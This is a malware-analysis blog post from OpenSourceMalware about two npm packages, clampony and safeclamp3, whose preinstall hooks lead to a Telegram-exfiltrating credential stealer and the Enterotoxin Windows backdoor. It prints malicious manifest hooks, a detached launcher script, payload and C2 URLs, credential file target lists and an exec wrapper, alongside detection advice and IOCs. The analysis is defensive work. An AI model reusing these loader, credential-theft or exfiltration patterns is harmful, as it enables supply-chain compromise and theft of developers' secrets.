BLOG

New Enterotoxin Malware Uses NPM Packages to Deliver RAT

NPM packages deliver a new "Enterotoxin" Windows RAT to steal developer and cloud credentials

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

New Enterotoxin Malware Uses NPM Packages to Deliver RAT

The OpenSourceMalware team has identified two closely related npm packages, clampony@1.0.11 and safeclamp3@1.0.11. Clampony uses an installation hook to retrieve a JavaScript credential stealer from two mirrored endpoints. That second stage targets cloud and developer credentials, exfiltrates the collection through Telegram, and downloads a custom Windows backdoor named enterotoxin.exe.

The recovered Safeclamp3 version is important for a different reason. It carries the same copied clamp facade and an install-time launcher, but its bundled child script is only a 14-byte console.log(1) placeholder. Static analysis does not support claiming that this exact Safeclamp3 artifact downloads or executes Enterotoxin. Instead, it appears to be a staged or dormant sister package that preserves the loader shape without the malicious payload.

Static reverse engineering of the final executable reveals a much broader capability set: redundant persistence, arbitrary Python and batch task execution, keylogging, clipboard monitoring, full-desktop screenshots, transactional surveillance storage, shortcut infection, and anti-analysis checks. The binary identifies itself internally as Enterotoxin and communicates with a hard-coded HTTPS controller at 195.123.6.29.

Every stage in this report was handled as inert data. We did not execute the package, its lifecycle hook, either JavaScript payload, the Windows executable, or any code recovered from them. The final controller was not contacted.

TL;DR

  • Threat Type: Multi-stage npm supply-chain malware, credential stealer, and Windows backdoor

  • Affected Ecosystem: npm

  • Related Packages: clampony@1.0.11 and safeclamp3@1.0.11

  • Initial Trigger: preinstall lifecycle hook

  • Impact: Developer and cloud credential theft, arbitrary remote command execution, persistence, keylogging, clipboard capture, screenshots, and shortcut infection

  • C2: https://195.123.6.29:443

  • Exfiltration: Telegram Bot API for the JavaScript stealer; custom HTTPS tasking protocol for Enterotoxin

  • Key Finding: The apparently incomplete npm loader leads to a fully featured native Windows agent capable of executing open-ended server-supplied Python and batch tasks

  • Safeclamp3 Finding: The local 1.0.11 artifact launches only a bundled no-op placeholder; it contains no network destination, credential collection, or Enterotoxin payload path

  • Attribution: Unknown; no actor attribution is supported by the available evidence

Discovery

clampony presents itself as a tiny utility for clamping a number between two bounds. Its index.js really does export a benign seven-line clamp function, while its README appears copied from the legitimate clamp package. The package name, copied documentation, and unrelated install-time behavior are consistent with typosquatting or package impersonation.

The malicious behavior is registered in package.json:

{
  "name": "clampony",
  "version": "1.0.11",
  "scripts": {
    "test": "node test",
    "preinstall": "node setup.js"
  }
}

The preinstall script starts two HTTPS requests in parallel:

https://pastebin.com/raw/z6K1Rg8J
https://calcal.ru/p/t5edjvR/raw

It uses Promise.any() to accept the first successful response and abort the other request. Curiously, this exact version reads the successful response into a Buffer but never writes or executes it. writeFile and spawn are imported, a random temporary path is generated, and an empty run() function is called. The package therefore looks like an unfinished or accidentally damaged loader rather than a harmless package.

That implementation mistake does not make the remote content benign. Both URLs returned the same 49,280-byte obfuscated JavaScript file:

SHA-256: ca2b7eced5937817b2aca2d50542d2e171bc95593be72a94c158616ed17a5334

Safeclamp3: a staged sister package

The recovered safeclamp3@1.0.11 package is 2,790 bytes across seven files. It is closely related to Clampony at the artifact level: LICENSE.md, README.md, index.js, and test.js are byte-for-byte identical in both packages. Their manifests use the same version, description, entry points, dependency declarations, scripts, author, license, and keywords; the package name is the only manifest difference. Both also copy the legitimate clamp package’s README and seven-line implementation.

Safeclamp3 retains a preinstall hook:

{
  "name": "safeclamp3",
  "version": "1.0.11",
  "scripts": {
    "test": "node test",
    "preinstall": "node setup.js"
  }
}

Its setup.js launches a local child process in detached mode:

const { spawn } = require('node:child_process');
const path = require('node:path');

const child = spawn(
  process.execPath,
  [path.join(__dirname, 'ensure-tpm-antitamper.js')],
  { detached: true, stdio: 'ignore' }
);

child.unref();

The security-themed filename implies more than the file actually does. The complete 14-byte child script is:

console.log(1)

This yields a short, fully resolved execution path:

npm install safeclamp3@1.0.11
        |
        v
preinstall: node setup.js
        |
        v
detached node ensure-tpm-antitamper.js
        |
        v
write "1" to ignored stdout and exit

No encoded or hidden content follows that statement. The package contains no HTTP client, URL, IP address, Telegram indicator, credential target, dynamic code execution, persistence mechanism, or reference to Enterotoxin. Because stdout is configured as ignore, even the printed value is discarded during the install path.

The shared facade and matching metadata support clustering Safeclamp3 with Clampony. The divergent install hooks show different operational states: Clampony contains the remote-fetch prototype, while this Safeclamp3 build contains a detached-launch prototype with a no-op child. That supports a staged-loader interpretation, but the actor’s intent and the behavior of unavailable Safeclamp3 versions remain unresolved. Package relationship alone is not evidence that this exact artifact infected a host.

The attack chain

npm install clampony@1.0.11
        |
        v
preinstall: node setup.js
        |
        +-- GET pastebin.com/raw/z6K1Rg8J
        +-- GET calcal.ru/p/t5edjvR/raw
        |
        v
Obfuscated JavaScript credential stealer
        |
        +-- Collect developer and cloud credentials
        +-- Archive and exfiltrate through Telegram
        +-- GET 195.123.6.29:443/enterotoxin.exe
        |
        v
Enterotoxin Windows backdoor
        |
        +-- Install persistence
        +-- Poll /enterotoxin/<agent-id>/control
        +-- Execute Python and batch tasks
        +-- Upload results to /enterotoxin/<agent-id>/results
        +-- Keylog, monitor clipboard, capture screenshots
        +-- Infect supported Windows shortcuts

npm install safeclamp3@1.0.11
        |
        v
preinstall: node setup.js
        |
        v
detached local placeholder prints "1" to ignored stdout and exits

Stage two: developer credential theft

The second-stage JavaScript uses a rotated string table and a custom Base64 alphabet. We reconstructed the transformation independently rather than invoking the sample’s decoder. Once the table is rotated into its runtime order, the package configuration becomes readable.

The stealer is Windows-only and stages copied files beneath a random directory named like:

%TEMP%\files-staging-<random>\contents

It searches for three credential-bearing directories:

%USERPROFILE%\.config\gcloud\legacy_credentials
%APPDATA%\GitHub CLI
%USERPROFILE%\.ssh

It also targets individual files belonging to AWS, Google Cloud, Azure, Kubernetes, Docker, Terraform, npm, PyPI, Poetry, Git, FileZilla, WinSCP, MobaXterm, PowerShell, Bash, Zsh, Fish, Clink, Nushell, and the Windows hosts file. Representative targets include:

%USERPROFILE%\.aws\credentials
%APPDATA%\gcloud\credentials.db
%USERPROFILE%\.azure\accessTokens.json
%USERPROFILE%\.kube\config
%USERPROFILE%\.docker\config.json
%USERPROFILE%\.terraform.d\credentials.tfrc.json
%USERPROFILE%\.npmrc
%USERPROFILE%\.pypirc
%USERPROFILE%\.git-credentials
%APPDATA%\FileZilla\sitemanager.xml
%APPDATA%\WinSCP.ini
%APPDATA%\MobaXterm\MobaXterm.ini

Telegram Desktop is handled separately. The stealer copies files from:

%APPDATA%\Telegram Desktop\tdata

It also recursively copies Telegram’s D877F783D5D3EF8C directory when present.

The collection is compressed into sysvolume.zip. The malware first attempts tar.exe; if that executable is unavailable, it invokes hidden, non-interactive PowerShell and uses .NET’s System.IO.Compression.ZipFile. Archives larger than 50 MiB are rejected.

Telegram exfiltration

The stealer embeds Telegram bot ID 9249894009 and chat ID 7638757988. The operational bot secret is intentionally redacted from this public article. Defenders reviewing the sample should treat the complete embedded token as compromised and revoke it.

The archive is sent to:

https://api.telegram.org/bot<TOKEN>/sendDocument

with form fields equivalent to:

chat_id  = 7638757988
document = exfil.zip
caption  = Exfil archive\nFiles: <count>

The malware also sends success, partial-failure, and error reports through sendMessage. It references nine authenticated HTTP proxies, but a negative initial dispatcher index means the observed retry loop continues with an undefined dispatcher in this build. Direct Telegram delivery remains reachable.

Stage three: Enterotoxin

While collecting credentials, the JavaScript stage independently downloads:

https://195.123.6.29:443/enterotoxin.exe

The response was a 352,256-byte native Windows executable:

SHA-256: 48cf14560a8c2c5eaa984078cb345a81bc6d49d6695a06851499a3a31260aa91
MD5:     ed72098d69058a7f43b1b78a30ec6c1f
Type:    PE32+, x86-64, Windows GUI

The delivery server identified itself as EnterotoxinControl/1 Python/3.13.5. The JavaScript saves the response under a random .exe filename in %TEMP%, schedules that temporary file for deletion after six seconds, and launches it detached with its window hidden.

The native sample is not conventionally packed. It has a normal import table and seven ordinary PE sections, which allowed its major behaviors to be traced directly through static disassembly.

Command and control

Enterotoxin uses WinHTTP and the operating system’s TLS implementation. Its hard-coded controller is:

https://195.123.6.29:443

The two application endpoints are:

/enterotoxin/<agent-id>/control
/enterotoxin/<agent-id>/results

The agent reads the host’s registry MachineGuid from:

HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid

and uses host-derived material in its agent identity. Protocol markers include:

enterotoxin/0.1
X-Enterotoxin-Available-Slots
X-Enterotoxin-Task
X-Enterotoxin-Runtime
SHA256
ObjectLength
Content-Type: application/json

The agent reports available execution slots, obtains task metadata and content from /control, validates task length and SHA-256 metadata, and stores it beneath:

%LOCALAPPDATA%\Microsoft\Store\UpdateState\Tasks

Task artifacts include:

control.lock
task-<task-id>
state.bin
stdout.bin
stderr.bin
result.json

The agent writes .next variants before replacing the live state files, reducing corruption if execution is interrupted.

Arbitrary Python and batch execution

Two task runtimes are explicitly supported:

python
batch

For Python jobs, Enterotoxin searches registry and filesystem locations associated with PyLauncher, PythonCore, PATH, ProgramW6432, virtual environments, and user-local Python installations. Candidate interpreters are probed in isolated mode with -I -S.

The server-supplied source is placed into a wrapper that deletes its own temporary file, Base64-decodes the task body, decodes it as UTF-8, and runs:

exec(
    compile(_s, '<control>', 'exec'),
    {'__name__': '__main__', '__file__': '<control>'}
)

Batch tasks are written as temporary .bat files and launched through cmd.exe /d /s /c. Together, these branches provide arbitrary code execution with the infected user’s privileges.

The agent captures stdout and stderr and returns JSON containing the task ID, status, exit code, duration, Base64-encoded output, and truncation flags. Recognized outcomes include completed, cancelled, interrupted, and launch_failed.

Persistence and masquerading

Enterotoxin masquerades as Microsoft Store and Windows Update software. Referenced filenames include:

MicrosoftStoreUpdater.exe
MSStoreUpdater.exe
WindowsUpdater.exe
MicrosoftStoreUpdaterV<version>.exe

Its primary installation directory is:

%LOCALAPPDATA%\Programs\Microsoft Store\

The stable copy is launched as:

"<installed executable>" --agent

The malware implements redundant persistence through the current user’s Run key and several scheduled-task identities:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  MicrosoftStoreUpdaterV = "<installed executable>" --agent

\MicrosoftSoftware\Ensure Updater
\Microsoft\Windows\WindowsUpdate\Ensure Updater
\Enterotoxin\Agent
\MicrosoftSoftware\StoreUpdateMaintenance

Task metadata uses Microsoft-like names alongside explicit Enterotoxin ownership markers. A corresponding removal path checks those markers before deleting persistence artifacts.

Shortcut infection

Enterotoxin can rewrite supported Windows .lnk shortcuts, including pinned taskbar entries, so that launching an ordinary application first passes through the malware’s --payload mode.

The shortcut subsystem:

  1. Reads and decodes an existing shortcut.

  2. Resolves its target and arguments.

  3. Rejects unsupported targets and standalone URL shortcuts.

  4. Writes a temporary replacement .lnk.

  5. Retargets the shortcut through Enterotoxin.

  6. Attempts to preserve the original icon and visible identity.

  7. Atomically replaces the original file.

  8. Records whether the shortcut was changed, restored, conflicted, or could not be verified.

Related command-line modes include:

--infect
--scan
--recovery
--report
--prepare-server
--payload

This is more than ordinary startup persistence: it creates user-triggered execution paths behind applications the victim already trusts.

Keylogging and clipboard capture

The binary installs a low-level keyboard hook using SetWindowsHookExW with hook type 13, or WH_KEYBOARD_LL. It queries modifier and lock-key state, resolves the active keyboard layout, converts virtual keys to Unicode, and associates events with the foreground window.

Collected keyboard data is stored under:

%LOCALAPPDATA%\Enterotoxin\Keylogger\events.ksp

Lock and migration-related files include:

events.ksp.lock
events.ksp.legacy

The .ksp data uses a custom structured format with markers including CHK1, EBD1, EVB1, EVSJ, and EVR1.

Clipboard monitoring is implemented through a hidden window named:

MicrosoftStoreUpdaterClipboardListener

The window registers with AddClipboardFormatListener and reads clipboard contents through OpenClipboard and GetClipboardData.

Screenshot capture and surveillance storage

Screenshot capture is directly confirmed by use of GetSystemMetrics, GetDC, CreateCompatibleDC, CreateDIBSection, SelectObject, and BitBlt. The code requests virtual-screen metrics, so it captures the full multi-monitor desktop rather than only the primary display.

Surveillance records are committed beneath:

%LOCALAPPDATA%\Microsoft\Store\UpdateCache

using a transactional spool:

spool.meta
spool.lock
append.txn
append.txn.next
obj-<20-digit sequence>.spy
obj-*.tmp

The SPY1, SPYA, SPYB, SPYC, SPM1, and SPT1 markers identify its custom spool formats. The design allows key, clipboard, and screen-capture records to survive crashes and later be transferred by the agent.

Anti-analysis behavior

Enterotoxin looks for common monitoring utilities:

taskmgr.exe
resmon.exe
perfmon.exe
procexp.exe
procexp64.exe
procexp64a.exe
procmon.exe
procmon64.exe
procmon64a.exe
systeminformer.exe
processhacker.exe
processlasso.exe

It checks existing processes through Toolhelp snapshots and subscribes to future process launches through WMI:

ROOT\CIMV2
SELECT * FROM Win32_ProcessStartTrace
ProcessName

When a listed tool is observed, the confirmed branch obtains its own process handle and calls TerminateProcess. It exits rather than trying to terminate the analyst’s utility.

Detection opportunities

Defenders can hunt for this campaign at several layers.

npm and process telemetry

  • Installation of clampony@1.0.11

  • Installation of the related safeclamp3@1.0.11

  • node setup.js launched as an npm preinstall action

  • For Safeclamp3, detached Node.js execution of ensure-tpm-antitamper.js during installation

  • Node.js contacting both Pastebin and calcal.ru during package installation

  • Node.js or a random %TEMP%\*.exe contacting 195.123.6.29:443

Filesystem telemetry

  • %LOCALAPPDATA%\Programs\Microsoft Store\MicrosoftStoreUpdaterV*.exe

  • %LOCALAPPDATA%\Microsoft\Store\UpdateState\Tasks

  • %LOCALAPPDATA%\Microsoft\Store\UpdateCache\obj-*.spy

  • %LOCALAPPDATA%\Enterotoxin\Keylogger\events.ksp

  • Task files containing state.bin, stdout.bin, stderr.bin, and result.json

  • Pinned shortcuts whose targets or arguments contain --payload

Persistence telemetry

  • Run value MicrosoftStoreUpdaterV

  • The four scheduled-task paths listed above

  • Executables launched from the fake Programs\Microsoft Store directory with --agent

Network telemetry

  • Requests to 195.123.6.29:443 with paths matching /enterotoxin/*/control or /enterotoxin/*/results

  • Headers beginning X-Enterotoxin-

  • User-agent or protocol marker enterotoxin/0.1

  • Telegram sendDocument traffic immediately following broad developer-credential file access

Indicators of Compromise (IOCs)

Campaign packages

npm/clampony@1.0.11
npm/safeclamp3@1.0.11  (related staged artifact; no malicious payload in the recovered build)

Payload URLs

https://pastebin.com/raw/z6K1Rg8J
https://calcal.ru/p/t5edjvR/raw
https://195.123.6.29:443/enterotoxin.exe

C2 infrastructure

195.123.6.29
https://195.123.6.29:443
/enterotoxin/<agent-id>/control
/enterotoxin/<agent-id>/results

Telegram indicators

Bot ID:  9249894009
Chat ID: 7638757988

SHA-256 hashes

831ad680ca2bf13e94ed4ff0a3bcfeb031b183a2ad88024ceb2ebdf0326d7d24  package.json
10a47e65e492bda12bb634439976fd3c63df62d4ff6cb2297df3bcefe7cfbdff  setup.js
ca2b7eced5937817b2aca2d50542d2e171bc95593be72a94c158616ed17a5334  JavaScript second stage
48cf14560a8c2c5eaa984078cb345a81bc6d49d6695a06851499a3a31260aa91  enterotoxin.exe
0d6282f9941fbdf5486a0d75fd051b57230726c83c8cfda968d1012a122c927d  safeclamp3 package.json
d25696da7a9cb1f550356c16189a57385937c4e1712261a0e3a6edcd7ad5cf3e  safeclamp3 setup.js
0a286891c11c056e1ab5bfc25bf5d6b2f5b06d38eac10944f678fd8a2e70c393  ensure-tpm-antitamper.js

Mutexes and window identities

Local\MicrosoftStoreUpdater.Agent.v1
Local\MicrosoftStoreUpdater.ShortcutManagement.v1
MicrosoftStoreUpdaterClipboardListener

Persistence and artifact names

MicrosoftStoreUpdaterV
MicrosoftStoreUpdaterV*.exe
events.ksp
obj-*.spy
sysvolume.zip

What remains unresolved

No further fixed payload URL was found in the recovered Clampony chain, and no embedded executable or archive remains to be extracted from enterotoxin.exe. The Safeclamp3 path terminates locally at its 14-byte placeholder and contains no download branch.

The open branch is the controller itself. /control can return arbitrary Python and batch content, and those tasks can perform additional downloads or behaviors that do not exist in the static sample. We did not impersonate a victim, generate an agent ID, or contact the controller, so historical and current server-issued tasks remain unavailable.

Unavailable Safeclamp3 versions are a separate evidence gap. This analysis establishes only the contents and behavior of the recovered safeclamp3@1.0.11 directory; it does not establish what earlier or later publications contained.

We also found no evidence that supports attribution to a known actor. The package relationship, custom malware name, infrastructure, Telegram configuration, and development style are useful clustering leads, but they are not attribution evidence by themselves.

Conclusion

clampony@1.0.11 demonstrates why a broken first-stage loader should not be dismissed. The npm package’s visible install hook fails to save or execute its response, but the mirrored response leads to a working credential stealer and a substantial native Windows backdoor.

Safeclamp3 adds campaign context without adding another confirmed infection path. Its copied facade and nearly identical manifest strongly associate it with Clampony, while its detached no-op child shows that related packages may be published in staged, dormant, test, or unfinished states. Defenders should preserve and compare exact package artifacts rather than transferring behavior from one package to another solely because they belong to the same cluster.

Enterotoxin combines conventional remote tasking with an unusually broad local surveillance design. It can execute arbitrary controller-supplied scripts, maintain several persistence paths, hide behind trusted shortcuts, and retain keyboard, clipboard, and screenshot data in crash-resistant local spools. The open-ended C2 task channel means the behavior documented here is a minimum, not a ceiling.

If you encounter this package, its payloads, or related infrastructure, please report them to OpenSourceMalware.com.

Stay safe out there.


Tags: #npm #supply-chain #typosquatting #infostealer #backdoor #rat #c2 #windows